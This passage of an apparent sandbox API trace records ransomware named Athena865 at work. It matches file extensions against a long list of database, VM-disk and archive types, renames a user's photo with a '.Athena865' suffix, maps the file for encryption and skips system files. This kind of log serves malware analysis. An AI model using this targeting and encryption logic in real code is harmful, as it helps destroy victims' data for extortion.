(lpString="dbb") returned 3 [0051.598] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0051.598] lstrlenW (lpString="vmdk") returned 4 [0051.598] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0051.598] lstrlenW (lpString="rar") returned 3 [0051.598] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0051.598] lstrlenW (lpString="zip") returned 3 [0051.598] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0051.598] lstrlenW (lpString="tgz") returned 3 [0051.598] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0051.598] lstrlenW (lpString="vbox") returned 4 [0051.598] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0051.599] lstrlenW (lpString="vdi") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0051.599] lstrlenW (lpString="vhd") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0051.599] lstrlenW (lpString="vhdx") returned 4 [0051.599] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0051.599] lstrlenW (lpString="avhd") returned 4 [0051.599] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0051.599] lstrlenW (lpString="db") returned 2 [0051.599] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0051.599] lstrlenW (lpString="db2") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0051.599] lstrlenW (lpString="db3") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0051.599] lstrlenW (lpString="dbf") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0051.599] lstrlenW (lpString="mdf") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0051.599] lstrlenW (lpString="mdb") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0051.599] lstrlenW (lpString="sql") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0051.599] lstrlenW (lpString="sqlite") returned 6 [0051.599] lstrcmpiW (lpString1="au.jpg", lpString2="sqlite") returned -1 [0051.599] lstrlenW (lpString="sqlite3") returned 7 [0051.599] lstrcmpiW (lpString1="xau.jpg", lpString2="sqlite3") returned 1 [0051.599] lstrlenW (lpString="sqlitedb") returned 8 [0051.599] lstrcmpiW (lpString1="Vxau.jpg", lpString2="sqlitedb") returned 1 [0051.599] lstrlenW (lpString="xml") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0051.599] lstrlenW (lpString="$er") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0051.599] lstrlenW (lpString="4dd") returned 3 [0051.599] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0051.600] lstrlenW (lpString="4dl") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0051.600] lstrlenW (lpString="^^^") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0051.600] lstrlenW (lpString="abs") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0051.600] lstrlenW (lpString="abx") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0051.600] lstrlenW (lpString="accdb") returned 5 [0051.600] lstrcmpiW (lpString1="u.jpg", lpString2="accdb") returned 1 [0051.600] lstrlenW (lpString="accdc") returned 5 [0051.600] lstrcmpiW (lpString1="u.jpg", lpString2="accdc") returned 1 [0051.600] lstrlenW (lpString="accde") returned 5 [0051.600] lstrcmpiW (lpString1="u.jpg", lpString2="accde") returned 1 [0051.600] lstrlenW (lpString="accdr") returned 5 [0051.600] lstrcmpiW (lpString1="u.jpg", lpString2="accdr") returned 1 [0051.600] lstrlenW (lpString="accdt") returned 5 [0051.600] lstrcmpiW (lpString1="u.jpg", lpString2="accdt") returned 1 [0051.600] lstrlenW (lpString="accdw") returned 5 [0051.600] lstrcmpiW (lpString1="u.jpg", lpString2="accdw") returned 1 [0051.600] lstrlenW (lpString="accft") returned 5 [0051.600] lstrcmpiW (lpString1="u.jpg", lpString2="accft") returned 1 [0051.600] lstrlenW (lpString="adb") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0051.600] lstrlenW (lpString="adb") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0051.600] lstrlenW (lpString="ade") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0051.600] lstrlenW (lpString="adf") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0051.600] lstrlenW (lpString="adn") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0051.600] lstrlenW (lpString="adp") returned 3 [0051.600] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0051.600] lstrlenW (lpString="alf") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0051.601] lstrlenW (lpString="ask") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0051.601] lstrlenW (lpString="btr") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0051.601] lstrlenW (lpString="cat") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0051.601] lstrlenW (lpString="cdb") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0051.601] lstrlenW (lpString="ckp") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0051.601] lstrlenW (lpString="cma") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0051.601] lstrlenW (lpString="cpd") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0051.601] lstrlenW (lpString="dacpac") returned 6 [0051.601] lstrcmpiW (lpString1="au.jpg", lpString2="dacpac") returned -1 [0051.601] lstrlenW (lpString="dad") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0051.601] lstrlenW (lpString="dadiagrams") returned 10 [0051.601] lstrcmpiW (lpString1="_YVxau.jpg", lpString2="dadiagrams") returned -1 [0051.601] lstrlenW (lpString="daschema") returned 8 [0051.601] lstrcmpiW (lpString1="Vxau.jpg", lpString2="daschema") returned 1 [0051.601] lstrlenW (lpString="db-journal") returned 10 [0051.601] lstrcmpiW (lpString1="_YVxau.jpg", lpString2="db-journal") returned -1 [0051.601] lstrlenW (lpString="db-shm") returned 6 [0051.601] lstrcmpiW (lpString1="au.jpg", lpString2="db-shm") returned -1 [0051.601] lstrlenW (lpString="db-wal") returned 6 [0051.601] lstrcmpiW (lpString1="au.jpg", lpString2="db-wal") returned -1 [0051.601] lstrlenW (lpString="dbc") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0051.601] lstrlenW (lpString="dbs") returned 3 [0051.601] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0051.602] lstrlenW (lpString="dbt") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0051.602] lstrlenW (lpString="dbv") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0051.602] lstrlenW (lpString="dbx") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0051.602] lstrlenW (lpString="dcb") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0051.602] lstrlenW (lpString="dct") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0051.602] lstrlenW (lpString="dcx") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0051.602] lstrlenW (lpString="ddl") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0051.602] lstrlenW (lpString="dlis") returned 4 [0051.602] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0051.602] lstrlenW (lpString="dp1") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0051.602] lstrlenW (lpString="dqy") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1 [0051.602] lstrlenW (lpString="dsk") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1 [0051.602] lstrlenW (lpString="dsn") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1 [0051.602] lstrlenW (lpString="dtsx") returned 4 [0051.602] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1 [0051.602] lstrlenW (lpString="dxl") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1 [0051.602] lstrlenW (lpString="eco") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1 [0051.602] lstrlenW (lpString="ecx") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1 [0051.602] lstrlenW (lpString="edb") returned 3 [0051.602] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1 [0051.603] lstrlenW (lpString="epim") returned 4 [0051.603] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1 [0051.603] lstrlenW (lpString="fcd") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1 [0051.603] lstrlenW (lpString="fdb") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1 [0051.603] lstrlenW (lpString="fic") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1 [0051.603] lstrlenW (lpString="flexolibrary") returned 12 [0051.603] lstrcmpiW (lpString1="LO_YVxau.jpg", lpString2="flexolibrary") returned 1 [0051.603] lstrlenW (lpString="fm5") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1 [0051.603] lstrlenW (lpString="fmp") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1 [0051.603] lstrlenW (lpString="fmp12") returned 5 [0051.603] lstrcmpiW (lpString1="u.jpg", lpString2="fmp12") returned 1 [0051.603] lstrlenW (lpString="fmpsl") returned 5 [0051.603] lstrcmpiW (lpString1="u.jpg", lpString2="fmpsl") returned 1 [0051.603] lstrlenW (lpString="fol") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1 [0051.603] lstrlenW (lpString="fp3") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1 [0051.603] lstrlenW (lpString="fp4") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1 [0051.603] lstrlenW (lpString="fp5") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1 [0051.603] lstrlenW (lpString="fp7") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1 [0051.603] lstrlenW (lpString="fpt") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1 [0051.603] lstrlenW (lpString="frm") returned 3 [0051.603] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1 [0051.603] lstrlenW (lpString="gdb") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0051.604] lstrlenW (lpString="gdb") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0051.604] lstrlenW (lpString="grdb") returned 4 [0051.604] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1 [0051.604] lstrlenW (lpString="gwi") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1 [0051.604] lstrlenW (lpString="hdb") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1 [0051.604] lstrlenW (lpString="his") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1 [0051.604] lstrlenW (lpString="ib") returned 2 [0051.604] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1 [0051.604] lstrlenW (lpString="idb") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1 [0051.604] lstrlenW (lpString="ihx") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1 [0051.604] lstrlenW (lpString="itdb") returned 4 [0051.604] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1 [0051.604] lstrlenW (lpString="itw") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1 [0051.604] lstrlenW (lpString="jet") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1 [0051.604] lstrlenW (lpString="jtx") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1 [0051.604] lstrlenW (lpString="kdb") returned 3 [0051.604] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1 [0051.604] lstrlenW (lpString="kexi") returned 4 [0051.604] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1 [0051.604] lstrlenW (lpString="kexic") returned 5 [0051.604] lstrcmpiW (lpString1="u.jpg", lpString2="kexic") returned 1 [0051.604] lstrlenW (lpString="kexis") returned 5 [0051.604] lstrcmpiW (lpString1="u.jpg", lpString2="kexis") returned 1 [0051.604] lstrlenW (lpString="lgc") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1 [0051.605] lstrlenW (lpString="lwx") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1 [0051.605] lstrlenW (lpString="maf") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1 [0051.605] lstrlenW (lpString="maq") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1 [0051.605] lstrlenW (lpString="mar") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1 [0051.605] lstrlenW (lpString="marshal") returned 7 [0051.605] lstrcmpiW (lpString1="xau.jpg", lpString2="marshal") returned 1 [0051.605] lstrlenW (lpString="mas") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1 [0051.605] lstrlenW (lpString="mav") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1 [0051.605] lstrlenW (lpString="maw") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1 [0051.605] lstrlenW (lpString="mdbhtml") returned 7 [0051.605] lstrcmpiW (lpString1="xau.jpg", lpString2="mdbhtml") returned 1 [0051.605] lstrlenW (lpString="mdn") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1 [0051.605] lstrlenW (lpString="mdt") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1 [0051.605] lstrlenW (lpString="mfd") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1 [0051.605] lstrlenW (lpString="mpd") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1 [0051.605] lstrlenW (lpString="mrg") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1 [0051.605] lstrlenW (lpString="mud") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1 [0051.605] lstrlenW (lpString="mwb") returned 3 [0051.605] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1 [0051.605] lstrlenW (lpString="myd") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1 [0051.606] lstrlenW (lpString="ndf") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1 [0051.606] lstrlenW (lpString="nnt") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1 [0051.606] lstrlenW (lpString="nrmlib") returned 6 [0051.606] lstrcmpiW (lpString1="au.jpg", lpString2="nrmlib") returned -1 [0051.606] lstrlenW (lpString="ns2") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1 [0051.606] lstrlenW (lpString="ns3") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1 [0051.606] lstrlenW (lpString="ns4") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1 [0051.606] lstrlenW (lpString="nsf") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1 [0051.606] lstrlenW (lpString="nv") returned 2 [0051.606] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1 [0051.606] lstrlenW (lpString="nv2") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1 [0051.606] lstrlenW (lpString="nwdb") returned 4 [0051.606] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1 [0051.606] lstrlenW (lpString="nyf") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1 [0051.606] lstrlenW (lpString="odb") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0051.606] lstrlenW (lpString="odb") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0051.606] lstrlenW (lpString="oqy") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1 [0051.606] lstrlenW (lpString="ora") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1 [0051.606] lstrlenW (lpString="orx") returned 3 [0051.606] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1 [0051.607] lstrlenW (lpString="owc") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1 [0051.607] lstrlenW (lpString="p96") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1 [0051.607] lstrlenW (lpString="p97") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1 [0051.607] lstrlenW (lpString="pan") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1 [0051.607] lstrlenW (lpString="pdb") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1 [0051.607] lstrlenW (lpString="pdm") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1 [0051.607] lstrlenW (lpString="pnz") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1 [0051.607] lstrlenW (lpString="qry") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1 [0051.607] lstrlenW (lpString="qvd") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1 [0051.607] lstrlenW (lpString="rbf") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1 [0051.607] lstrlenW (lpString="rctd") returned 4 [0051.607] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1 [0051.607] lstrlenW (lpString="rod") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1 [0051.607] lstrlenW (lpString="rodx") returned 4 [0051.607] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1 [0051.607] lstrlenW (lpString="rpd") returned 3 [0051.607] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1 [0051.607] lstrlenW (lpString="rsd") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1 [0051.608] lstrlenW (lpString="sas7bdat") returned 8 [0051.608] lstrcmpiW (lpString1="Vxau.jpg", lpString2="sas7bdat") returned 1 [0051.608] lstrlenW (lpString="sbf") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1 [0051.608] lstrlenW (lpString="scx") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1 [0051.608] lstrlenW (lpString="sdb") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1 [0051.608] lstrlenW (lpString="sdc") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1 [0051.608] lstrlenW (lpString="sdf") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1 [0051.608] lstrlenW (lpString="sis") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1 [0051.608] lstrlenW (lpString="spq") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1 [0051.608] lstrlenW (lpString="te") returned 2 [0051.608] lstrcmpiW (lpString1="pg", lpString2="te") returned -1 [0051.608] lstrlenW (lpString="teacher") returned 7 [0051.608] lstrcmpiW (lpString1="xau.jpg", lpString2="teacher") returned 1 [0051.608] lstrlenW (lpString="tmd") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1 [0051.608] lstrlenW (lpString="tps") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1 [0051.608] lstrlenW (lpString="trc") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0051.608] lstrlenW (lpString="trc") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0051.608] lstrlenW (lpString="trm") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1 [0051.608] lstrlenW (lpString="udb") returned 3 [0051.608] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1 [0051.609] lstrlenW (lpString="udl") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1 [0051.609] lstrlenW (lpString="usr") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1 [0051.609] lstrlenW (lpString="v12") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1 [0051.609] lstrlenW (lpString="vis") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1 [0051.609] lstrlenW (lpString="vpd") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1 [0051.609] lstrlenW (lpString="vvv") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1 [0051.609] lstrlenW (lpString="wdb") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1 [0051.609] lstrlenW (lpString="wmdb") returned 4 [0051.609] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0051.609] lstrlenW (lpString="wrk") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1 [0051.609] lstrlenW (lpString="xdb") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1 [0051.609] lstrlenW (lpString="xld") returned 3 [0051.609] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1 [0051.609] lstrlenW (lpString="xmlff") returned 5 [0051.609] lstrcmpiW (lpString1="u.jpg", lpString2="xmlff") returned -1 [0051.609] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\CDOyMLO_YVxau.jpg.Athena865") returned 83 [0051.609] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\CDOyMLO_YVxau.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\cdoymlo_yvxau.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\CDOyMLO_YVxau.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\cdoymlo_yvxau.jpg.athena865"), dwFlags=0x1) returned 1 [0051.610] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\CDOyMLO_YVxau.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\cdoymlo_yvxau.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.610] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1373) returned 1 [0051.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.610] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.611] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.611] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.611] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x860, lpName=0x0) returned 0x154 [0051.612] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x860) returned 0x100000 [0051.612] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.612] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.612] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.613] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.613] CloseHandle (hObject=0x154) returned 1 [0051.613] CloseHandle (hObject=0x17c) returned 1 [0051.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.615] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0051.615] lstrcmpiW (lpString1="desktop.ini", 